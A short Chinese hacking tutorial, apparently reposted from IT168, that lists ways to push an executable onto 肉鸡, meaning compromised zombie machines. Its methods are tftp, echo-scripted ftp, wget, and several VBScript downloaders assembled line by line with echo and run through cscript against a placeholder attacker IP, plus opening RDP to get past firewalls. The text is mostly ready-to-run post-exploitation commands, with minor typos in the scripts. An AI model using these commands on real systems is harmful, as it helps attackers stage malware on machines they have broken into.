几种肉鸡上传文件的方法

  【IT168 黑客攻防】tftp法
  先在自己某机器上建个tftp服务器,如执行tftpd32.exe,
  再将文件(sample.exe)上传到别的机器中(肉鸡),
  肉鸡cmd中执行: tftp -i 服务器ip get sample.exe

   ftp法
  肉鸡cmd中执行:
  echo open ftp服务器ip [端口]>ftp.txt
  echo username>>ftp.txt
  echo password>>ftp.txt
  echo get sample.exe>>ftp.txt
  echo bye>>ftp.txt
  ftp -s:ftp.txt
  del ftp.txt

  工具法
  利用wineggdrop的wget.exe
  肉鸡cmd中执行:wget 网站/sample.exe

  利用dl.vbe法
  肉鸡cmd中执行:
  echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
  echo set aso=.createobject("adodb.stream"):set web=createobject    ("microsoft.xmlhttp") >>dl.vbe
  echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe
  echo aso.type=1:aso.open:aso.writeweb.responsebody:aso.saveto file .arguments(1),2:end with >dl.vbe

  cscript dl.vbe http://*。*。*。*:88/sample.exe sample.exe

  利用iget.vbe法
  方法同4,
  肉鸡cmd中执行:
  echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
  echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
  echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
  echo xPost.Open "GET",iRemote,0 >>iget.vbe
  echo xPost.Send() >>iget.vbe
  echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
  echo sGet.Mode = 3 >>iget.vbe
  echo sGet.Type = 1 >>iget.vbe
  echo sGet.Open() >>iget.vbe
  echo sGet.Write(xPost.responseBody) >>iget.vbe
  echo sGet.SaveToFile iLocal,2 >>iget.vbe

  cscript iget.vbe http://*。*。*。*/sample.exe sample.exe

  利用Http网站vbe法
  echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dsa.vbe
  echo xPost.Open "GET","http://*.*.*.*/sample.exe",0 >>dsa.vbe
  echo xPost.Send() >>dsa.vbe
  echo Set sGet = CreateObject("ADODB.Stream") >>dsa.vbe
  echo sGet.Mode = 3 >>dsa.vbe
  echo sGet.Type = 1 >>dsa.vbe
  echo sGet.Open() >>dsa.vbe
  echo sGet.Write(xPost.responseBody) >>dsa.vbe
  echo sGet.SaveToFile "sample.exe",2 >>dsa.vbe cscript dsa.vbe
del dsa.vbe

  3389法
  可以开3389,然后登陆,进行本地的下载。该方法对服务器上传很严格的机器特有效。(包括硬件防火墙)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值